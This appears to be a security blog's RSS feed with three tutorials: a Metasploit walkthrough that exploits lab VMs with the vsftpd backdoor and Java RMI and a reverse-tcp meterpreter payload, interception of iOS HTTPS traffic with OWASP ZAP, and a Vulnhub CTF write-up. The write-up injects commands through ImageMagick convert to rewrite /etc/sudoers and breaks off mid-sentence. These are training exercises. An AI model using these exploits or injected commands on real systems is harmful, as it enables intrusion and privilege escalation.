<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Kevin.net.nz</title>
    <link>https://kevin.net.nz/</link>
    <description>Recent content on Kevin.net.nz</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <copyright>&amp;copy; 2016. All rights reserved.</copyright>
    <lastBuildDate>Wed, 27 Jul 2016 18:00:00 +1200</lastBuildDate>
    <atom:link href="https://kevin.net.nz/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>Metasploit 101</title>
      <link>https://kevin.net.nz/post/metasploit-101/</link>
      <pubDate>Wed, 27 Jul 2016 18:00:00 +1200</pubDate>
      
      <guid>https://kevin.net.nz/post/metasploit-101/</guid>
      <description>

&lt;h1 id=&#34;metasploit-101:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Metasploit 101&lt;/h1&gt;

&lt;p&gt;This post is a quick run down of a talk that I gave at my local information security &lt;a href=&#34;http://www.meetup.com/ISIG-Christchurch-NZ/events/231432861/&#34;&gt;meetup&lt;/a&gt; to introduce the Metasploit Framework to those that have not used it before.&lt;/p&gt;

&lt;h2 id=&#34;introduction:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;So what is &lt;a href=&#34;http://www.metasploit.com&#34;&gt;Metasploit&lt;/a&gt;?&lt;/p&gt;

&lt;p&gt;Metasploit is an exploitation framework with a collection of tools to help develop exploits and use them. It was created in 2003 by &lt;a href=&#34;https://twitter.com/hdmoore&#34;&gt;H D More&lt;/a&gt;.
The Metasploit project was purchased by &lt;a href=&#34;http://www.rapid7.com/&#34;&gt;Rapid7&lt;/a&gt; in 2009.
Originally written in Perl it has now been rewritten in Ruby. It comes in 2 main flavours the open source and pro editions.
While there are many tools in the Metasploit framework, today we will only be using &lt;code&gt;msfconsole&lt;/code&gt;.
Within &lt;code&gt;msfconsole&lt;/code&gt; there are 4 main modules.&lt;/p&gt;

&lt;h3 id=&#34;modules:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Modules&lt;/h3&gt;

&lt;h4 id=&#34;auxiliary:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Auxiliary&lt;/h4&gt;

&lt;p&gt;In this module we can find all sorts of things that don&amp;rsquo;t really fit into the other modules. However this is where we find the modules that we can use to enumerate the target for vulnerabilities.&lt;/p&gt;

&lt;h4 id=&#34;exploit:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Exploit&lt;/h4&gt;

&lt;p&gt;In the exploit module, yes you guessed it that is where we find the exploits that use known vulnerabilities to break into a target machine. As of writing this there are over 1500 exploits in
Metasploit.&lt;/p&gt;

&lt;h4 id=&#34;payload:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Payload&lt;/h4&gt;

&lt;p&gt;A payload is a bit of code that we can have run on the target. Generally this is a way for us to get shell access.&lt;/p&gt;

&lt;h4 id=&#34;post:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Post&lt;/h4&gt;

&lt;p&gt;Post modules let us gather information about the target and its environment once it has been exploited. This enables to collect more intelligence about the target for privilege escalation
and finding more targets.&lt;/p&gt;

&lt;h3 id=&#34;meterpreter:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Meterpreter&lt;/h3&gt;

&lt;p&gt;Meterperter is a special payload that gives us higher level access to the target. With this access we can upload/download files, interact with the targets file system and lots more.&lt;/p&gt;

&lt;p&gt;We will see an example of its usage a little later on.&lt;/p&gt;

&lt;h2 id=&#34;setup:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Setup&lt;/h2&gt;

&lt;p&gt;With the old saying &lt;em&gt;&amp;ldquo;Hackers be lazy&amp;rdquo;&lt;/em&gt; we can take a leaf out of their book and install a Kali image with metasploit pre-installed ready to go. This will save a lot of time trying to get the setup just right.&lt;/p&gt;

&lt;p&gt;The first thing to do is to download a Kali Virtual Machine image from &lt;a href=&#34;https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/&#34;&gt;here&lt;/a&gt; for our attach machine and
a copy of Metasploitable 2 from &lt;a href=&#34;http://sourceforge.net/projects/metasploitable/files/Metasploitable2/&#34;&gt;sourceforge&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Please make sure that these VM&amp;rsquo;s aren&amp;rsquo;t publicly accessible&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you have the ability to take a snapshot with your virtualisation software now is the time to do so.&lt;/p&gt;

&lt;h2 id=&#34;breaking-in:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Breaking in&lt;/h2&gt;

&lt;p&gt;Before starting metasploit we must initialise the database. To do this type &lt;code&gt;msfdb init&lt;/code&gt; into the terminal window. To start up msfconsole &lt;code&gt;msfconsole&lt;/code&gt; type into your terminal.&lt;/p&gt;

&lt;h3 id=&#34;recon:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Recon&lt;/h3&gt;

&lt;p&gt;first up port scanning, you can use &lt;code&gt;nmap&lt;/code&gt; of &lt;code&gt;db_nmap&lt;/code&gt;. The only difference between the 2 is that db_nmap saves the output in the metasploit database for you to query later.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;db_nmap -T4 -A -v 172.16.1.142&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-001.png&#34; alt=&#34;db_nmap&#34; /&gt;&lt;/p&gt;

&lt;p&gt;this shows us that there is a truck load of ports open&lt;/p&gt;

&lt;p&gt;using the command &lt;code&gt;services&lt;/code&gt; we can query the databse to see what ports are open.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-002.png&#34; alt=&#34;services&#34; /&gt;&lt;/p&gt;

&lt;p&gt;From this list of services we can see that Samba is enabled. Let us enumerate the samba shares.&lt;/p&gt;

&lt;p&gt;type in &lt;code&gt;use auxiliary/scanner/smb/smb_enumshares&lt;/code&gt; into msfconsole.&lt;/p&gt;

&lt;p&gt;We can see what options this module requires by entering &lt;code&gt;show options&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-003.jpg&#34; alt=&#34;samba&#34; /&gt;&lt;/p&gt;

&lt;p&gt;The targets ip address can be set by entering &lt;code&gt;set RHOSTS 172.16.1.142&lt;/code&gt; in my case. To find the ip address of your target the easy way is to login to the metasploitable machine
with &lt;code&gt;msfadmin:msfadmin&lt;/code&gt; and then run &lt;code&gt;ifconfig&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To execute the module enter &lt;code&gt;run&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-004.jpg&#34; alt=&#34;samba&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;exploit-1:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Exploit&lt;/h3&gt;

&lt;p&gt;Once we have done our recon it is time to break in.&lt;/p&gt;

&lt;p&gt;As we can see from the list of services the target is running a ftp daemon, vsftpd 2.3.4 to be exact.
We can do a quick search to see if we have an exploit for that by typing in &lt;code&gt;search vsftpd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-005.jpg&#34; alt=&#34;ftp&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Oh nice, there is one to make use of this exploit type in &lt;code&gt;use exploit/unix/ftp/vsftpd_234_backdoor&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-006.jpg&#34; alt=&#34;ftp&#34; /&gt;&lt;/p&gt;

&lt;p&gt;same as the scanner we can set the targets ip &lt;code&gt;set RHOST 172.16.1.142&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;to see what payloads we can use with this exploit enter &lt;code&gt;show payloads&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-007.jpg&#34; alt=&#34;payload options&#34; /&gt;&lt;/p&gt;

&lt;p&gt;to use the payload enter &lt;code&gt;set PAYLOAD cmd/unix/interact&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We can check to see if there are any options to the payload we need to set by entering &lt;code&gt;show options&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;to execute the exploit enter &lt;code&gt;exploit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-008.jpg&#34; alt=&#34;ftp exploit&#34; /&gt;&lt;/p&gt;

&lt;p&gt;There we have it command execution on the target.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Let us try another exploit&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;as we know from the &lt;code&gt;services&lt;/code&gt; command there are lots of interesting sevices running. One that caught my eye was the Java RMI Registry service.
I happen to know that this is exploitable. To use the exploit enter &lt;code&gt;use exploit/multi/misc/java_rmi_server&lt;/code&gt; and look at its options.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-009.jpg&#34; alt=&#34;java&#34; /&gt;&lt;/p&gt;

&lt;p&gt;There are a few more that I need to set this time around as I&amp;rsquo;m running multiple ip adresses. I need to &lt;code&gt;set RHOST 172.16.1.142&lt;/code&gt; and set the local interface to listen on
&lt;code&gt;set SRVHOST 172.16.1.138&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This time we are going to use the meterperter payload &lt;code&gt;set PAYLOAD java/meterpeter/reverse_tcp&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-010.jpg&#34; alt=&#34;meterperter payload&#34; /&gt;&lt;/p&gt;

&lt;p&gt;This payload requires 2 options LHOST is the ip adress the attack machine that the target needs to connect to and LPORT is the port to use.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-011.jpg&#34; alt=&#34;meterperter payload options&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Again to execute the exploit type in &lt;code&gt;exploit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-012.jpg&#34; alt=&#34;java exploit&#34; /&gt;&lt;/p&gt;

&lt;p&gt;as you we have successfully exploited the target but how do we interact with it? The exploit has called us back with a meterperter shell and put that into a background session.
To list your sessions enter &lt;code&gt;sessions&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-013.jpg&#34; alt=&#34;exploit callback&#34; /&gt;&lt;/p&gt;

&lt;p&gt;to interact with this session enter &lt;code&gt;sessions -i 1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-014.jpg&#34; alt=&#34;session&#34; /&gt;&lt;/p&gt;

&lt;p&gt;now we are in the meterperter session. We can interact with the target and even gain shell access.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-015.jpg&#34; alt=&#34;meterperter shell&#34; /&gt;&lt;/p&gt;

&lt;p&gt;there is a lot more that can be done with meterperter, please read up on what can be done.&lt;/p&gt;

&lt;p&gt;To exit the meterperter session type &lt;code&gt;exit&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&#34;post-exploitation:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Post Exploitation&lt;/h3&gt;

&lt;p&gt;Now that we have exploited the system and have a session it is time to gather more intelligence.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-016.jpg&#34; alt=&#34;post&#34; /&gt;&lt;/p&gt;

&lt;p&gt;We attach the post module to an active session by setting the &lt;code&gt;SESSION&lt;/code&gt; option&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/ms101-017.jpg&#34; alt=&#34;post checkvm&#34; /&gt;&lt;/p&gt;

&lt;p&gt;as with the auxiliary moudles enter &lt;code&gt;run&lt;/code&gt; to execute&lt;/p&gt;

&lt;p&gt;This is as far as we are going today and I&amp;rsquo;ll leave it up to you what to do next.&lt;/p&gt;

&lt;h2 id=&#34;beyond-the-framework:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Beyond the Framework&lt;/h2&gt;

&lt;p&gt;If the metasploit framework isn&amp;rsquo;t enough for you then check out the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;em&gt;Metasploit Pro&lt;/em&gt; has more power.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;em&gt;Armitage&lt;/em&gt; - &lt;a href=&#34;http://www.fastandeasyhacking.com/&#34;&gt;http://www.fastandeasyhacking.com/&lt;/a&gt; (included in Kali) an open source pointy clicky thing.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;em&gt;Cobalt Strike&lt;/em&gt; &lt;a href=&#34;https://www.cobaltstrike.com/&#34;&gt;https://www.cobaltstrike.com/&lt;/a&gt; a pro pointy click thing.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;check-out:91b76481fa5228536bf3aeed6f259f1e&#34;&gt;Check out&lt;/h2&gt;

&lt;p&gt;There is some much more to metasploit and if you want to know a little more go and check out these awesome resources:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://metasploit.com&#34;&gt;https://metasploit.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://github.com/rapid7/metasploit-framework/&#34;&gt;https://github.com/rapid7/metasploit-framework/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://metasploitminute.com&#34;&gt;http://metasploitminute.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.offensive-security.com/metasploit-unleashed/&#34;&gt;https://www.offensive-security.com/metasploit-unleashed/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Using OWASP ZAP with iOS</title>
      <link>https://kevin.net.nz/post/using-owasp-zap-with-ios/</link>
      <pubDate>Fri, 22 Jul 2016 13:03:31 +1200</pubDate>
      
      <guid>https://kevin.net.nz/post/using-owasp-zap-with-ios/</guid>
      <description>

&lt;h1 id=&#34;using-owasp-zap-with-ios:e837c0249714ae5454e77221916b25b6&#34;&gt;Using OWASP ZAP with iOS&lt;/h1&gt;

&lt;h2 id=&#34;introduction:e837c0249714ae5454e77221916b25b6&#34;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In this post I&amp;rsquo;m going to go through how to intercept http and https traffic from an iOS device using &lt;a href=&#34;https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&#34;&gt;OWASP ZAP&lt;/a&gt;.
I have found this to be very handy when debugging web and iOS applications from the device. The version of ZAP that I am using
is 2.4.3 and iOS is 9.3.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-01.png&#34; alt=&#34;OWASP ZAP&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;set-up-http-proxy:e837c0249714ae5454e77221916b25b6&#34;&gt;Set up HTTP Proxy&lt;/h2&gt;

&lt;p&gt;First lets open the local proxy settings in zap. Set the ip and port address that you want.
&lt;img src=&#34;https://kevin.net.nz/images/zap-02.png&#34; alt=&#34;OWASP ZAP local proxy settings&#34; /&gt;&lt;/p&gt;

&lt;p&gt;To allow your iOS device to go through zap, we need to change the wifi settings to do so.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/iOS-HTTP-proxy.png&#34; alt=&#34;iOS HTTP proxy&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Select Manual entry, and enter the IP address and port number that you have zap running on.&lt;/p&gt;

&lt;h2 id=&#34;intercepting-traffic:e837c0249714ae5454e77221916b25b6&#34;&gt;Intercepting traffic&lt;/h2&gt;

&lt;p&gt;Now that the proxy is up and running, navigate to a website (example.com) from safari.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-iOS-01.png&#34; alt=&#34;zap iOS example&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Over in zap you can see the history of your requests.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-03.png&#34; alt=&#34;zap interception&#34; /&gt;&lt;/p&gt;

&lt;p&gt;From the Tools menu you set to break on request and break on response. This will halt the traffic
to/from the browser.&lt;/p&gt;

&lt;p&gt;Request&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-04.png&#34; alt=&#34;zap request&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Response&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-05.png&#34; alt=&#34;zap response&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;changing-request-response:e837c0249714ae5454e77221916b25b6&#34;&gt;Changing Request/Response&lt;/h2&gt;

&lt;p&gt;Viewing the traffic is nice, manipulating the traffic is even better.
Change the heading from Example Domain to HACKED domain.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-06.png&#34; alt=&#34;edit response&#34; /&gt;&lt;/p&gt;

&lt;p&gt;View the manipulated result on the device.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-iOS-02.png&#34; alt=&#34;zap iOS example hacked&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;dealing-with-encrypted-traffic:e837c0249714ae5454e77221916b25b6&#34;&gt;Dealing with encrypted traffic&lt;/h2&gt;

&lt;h3 id=&#34;installing-the-root-ca:e837c0249714ae5454e77221916b25b6&#34;&gt;Installing the root CA&lt;/h3&gt;

&lt;p&gt;To intercept the traffic on an encrypted link we must install a trusted root certificate. This will
 allow ZAP to encrypt and decrypt the traffic as it passes through.&lt;/p&gt;

&lt;p&gt;Under the Tools -&amp;gt; Options&amp;hellip; menu item we can find the Dynamic SSL Certificates section. From there we can
 generate and save the certificate to disk.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-07.png&#34; alt=&#34;root CA&#34; /&gt;&lt;/p&gt;

&lt;p&gt;I have found the easiest way to transfer the certificate to the iOS device is to email it to an account you have on the
device.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-08.png&#34; alt=&#34;email root CA&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-iOS-03.png&#34; alt=&#34;zap iOS email&#34; /&gt;&lt;/p&gt;

&lt;p&gt;To install the certificate, touch the owasp_zap_root_ca.cer file. This will bring up
the profile installer.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-iOS-04.png&#34; alt=&#34;zap iOS install&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Press install&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-iOS-05.png&#34; alt=&#34;zap iOS warning&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Press install&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-iOS-06.png&#34; alt=&#34;zap iOS installed&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;viewing-encrypted-traffic:e837c0249714ae5454e77221916b25b6&#34;&gt;Viewing Encrypted Traffic&lt;/h3&gt;

&lt;p&gt;Viewing the encrypted traffic is just like before when we viewed the cleartext traffic. This time point your browser at a HTTPS site
and then view the request and the response.&lt;/p&gt;

&lt;h4 id=&#34;request:e837c0249714ae5454e77221916b25b6&#34;&gt;Request&lt;/h4&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-09.png&#34; alt=&#34;view encrypted traffic request&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;response:e837c0249714ae5454e77221916b25b6&#34;&gt;Response&lt;/h4&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-10.png&#34; alt=&#34;view encrypted traffic response&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;and-applications:e837c0249714ae5454e77221916b25b6&#34;&gt;And Applications&lt;/h2&gt;

&lt;p&gt;Up until now we have been looking at traffic generated via safari. You can also look at traffic sent via applications. Below is an example of traffic between the FitBit App and their
server.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/zap-11.png&#34; alt=&#34;view encrypted application traffic&#34; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hacking the Gibson 0.2 from vulnhub.com</title>
      <link>https://kevin.net.nz/post/hacking-the-gibson-from-vulnhub/</link>
      <pubDate>Thu, 19 May 2016 17:02:01 +1200</pubDate>
      
      <guid>https://kevin.net.nz/post/hacking-the-gibson-from-vulnhub/</guid>
      <description>

&lt;h1 id=&#34;hacking-the-gibson-0-2-from-vulnhub-com:8bb2671d2cac4d086c8419c57c13223b&#34;&gt;Hacking the Gibson 0.2 from vulnhub.com&lt;/h1&gt;

&lt;h2 id=&#34;introduction:8bb2671d2cac4d086c8419c57c13223b&#34;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In this post I&amp;rsquo;m doing a walk though of capturing the flag of a machine from &lt;a href=&#34;https://vulnhub.com&#34;&gt;Vulnhub&lt;/a&gt;.
The target machine is &lt;a href=&#34;https://www.vulnhub.com/entry/gibson-02,146/&#34;&gt;Gibson&lt;/a&gt; which is a fun boot2root/CTF.&lt;/p&gt;

&lt;h2 id=&#34;initial-recon:8bb2671d2cac4d086c8419c57c13223b&#34;&gt;Initial Recon&lt;/h2&gt;

&lt;h3 id=&#34;nmap:8bb2671d2cac4d086c8419c57c13223b&#34;&gt;nmap&lt;/h3&gt;

&lt;p&gt;I always like to start my recon with the following nmap command.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;nmap -sS -sU -T4 -A -v 172.16.1.134
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;this netted the result of:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-01.png&#34; alt=&#34;nmap&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;website:8bb2671d2cac4d086c8419c57c13223b&#34;&gt;Website&lt;/h3&gt;

&lt;p&gt;Seeing that port 80 is open I point my web browser at &lt;a href=&#34;http://172.16.1.134&#34;&gt;http://172.16.1.134&lt;/a&gt; to have a peek at the initial page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-02.png&#34; alt=&#34;webroot&#34; /&gt;&lt;/p&gt;

&lt;p&gt;This shows directory list with davinci.html&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-03.png&#34; alt=&#34;webroot&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Looks like a handy clue, however before I break out hydra, I view the source code for the page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-04.png&#34; alt=&#34;webroot&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Viewing the source code reveals another clue.&lt;/p&gt;

&lt;h3 id=&#34;ssh:8bb2671d2cac4d086c8419c57c13223b&#34;&gt;ssh&lt;/h3&gt;

&lt;p&gt;From the clues in the html source I now have 2 possible users (Margo &amp;amp; eugene) and one possible password (god).
Before starting up hydra I just take a punt and try ssh into the box with user of margo and password of god.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-05.png&#34; alt=&#34;webroot&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Just like that I&amp;rsquo;ve got low privilege shell access.&lt;/p&gt;

&lt;h2 id=&#34;low-privilege-recon:8bb2671d2cac4d086c8419c57c13223b&#34;&gt;Low privilege recon&lt;/h2&gt;

&lt;p&gt;Using g0tmi1k&amp;rsquo;s low privilige recon &lt;a href=&#34;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&#34;&gt;post&lt;/a&gt; I found&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-06.png&#34; alt=&#34;sudo -l&#34; /&gt;&lt;/p&gt;

&lt;p&gt;doing some research on convert, I go look at the &lt;a href=&#34;http://linux.die.net/man/1/convert&#34;&gt;man page&lt;/a&gt; and it tells me to
see also imagemagick. At this point I&amp;rsquo;m thinking its only be a couple of weeks since &lt;a href=&#34;https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-3714&#34;&gt;CVE-2016-3714&lt;/a&gt;
Over on &lt;a href=&#34;https://www.exploit-db.com/exploits/39767/&#34;&gt;exploit-db.com&lt;/a&gt; I find a nice little proof of concept.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-07.png&#34; alt=&#34;sudo -l&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;root-shell:8bb2671d2cac4d086c8419c57c13223b&#34;&gt;root shell&lt;/h2&gt;

&lt;p&gt;Now that I have command execute as root I try for a quick win by passing through a netcat reverse shell back to my attack machine.
however that ends in a big pile of fail. Using the sudo attack I copy the /etc/sudoers file and edit it to give margo
access to run /bin/su with no password. I copy the file back and I&amp;rsquo;m now root.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;sudo convert &#39;https://127.0.0.1&amp;quot;cp /etc/sudoers /home/margo/sudoers&amp;quot;&#39; out.png
sudo convert &#39;https://127.0.0.1&amp;quot;chmod margo:margo /home/margo/sudoers&amp;quot;&#39; out.png
vi /etc/home/margo/sudoers
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;added the following for margo&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-nohighlight&#34;&gt;margo ALL=(ALL) NOPASSWD: /bin/su
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;sudo convert &#39;https://127.0.0.1&amp;quot;chmod root:root /home/margo/sudoers&amp;quot;&#39; out.png
sudo convert &#39;https://127.0.0.1&amp;quot;cp /home/margo/sudoers /etc/sudoers&amp;quot;&#39; out.png

sudo su
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-08.png&#34; alt=&#34;sudo su&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;finding-the-flag:8bb2671d2cac4d086c8419c57c13223b&#34;&gt;Finding the flag&lt;/h2&gt;

&lt;p&gt;With root access I went looking for the flag in all the usual places but it was not to be found. I remembered back in my low
priv recon seeing a vnc port open&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-09.png&#34; alt=&#34;netstat&#34; /&gt;&lt;/p&gt;

&lt;p&gt;I did some ssh port redirection and connected my vncviewer to have a peek.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;ssh -L 5900:127.0.0.1:5900 margo@172.16.1.134
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-10.png&#34; alt=&#34;ssh vnc&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-11.png&#34; alt=&#34;vncviewer&#34; /&gt;&lt;/p&gt;

&lt;p&gt;interesting a DOS VM within the gibson&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-12.png&#34; alt=&#34;DOS vm&#34; /&gt;&lt;/p&gt;

&lt;p&gt;In keeping wtih the &lt;a href=&#34;http://www.imdb.com/title/tt0113243/&#34;&gt;Hackers&lt;/a&gt; theme, look inside the GARBAGE directory&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-13.png&#34; alt=&#34;GARBAGE&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Grab the files and look at them. I like the look of FILE.IMG as I have had good luck in the past extracting information
from image files. Mount it and dig around for more clues.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-14.png&#34; alt=&#34;mount image&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-15.png&#34; alt=&#34;.trash&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Found a couple of things a hint and the flag, however the flag is encrypted.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;hint.txt
http://www.imdb.com/title/tt0117951/ and
http://www.imdb.com/title/tt0113243/ have
someone in common... Can you remember his
original nom de plume in 1988...?
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;decrypting-the-flag:8bb2671d2cac4d086c8419c57c13223b&#34;&gt;Decrypting the flag&lt;/h2&gt;

&lt;p&gt;Knowing the answer to the hint I try to decrypt the flag.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;gpg --output flag.txt --batch --passphrase &amp;quot;Zero Cool&amp;quot; --decrypt flag.txt.gpg
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;no luck, so time to brute force this. I&amp;rsquo;m going to start out simple with a seed list and add some &lt;a href=&#34;https://en.wikipedia.org/wiki/Leet&#34;&gt;leetspeak&lt;/a&gt;
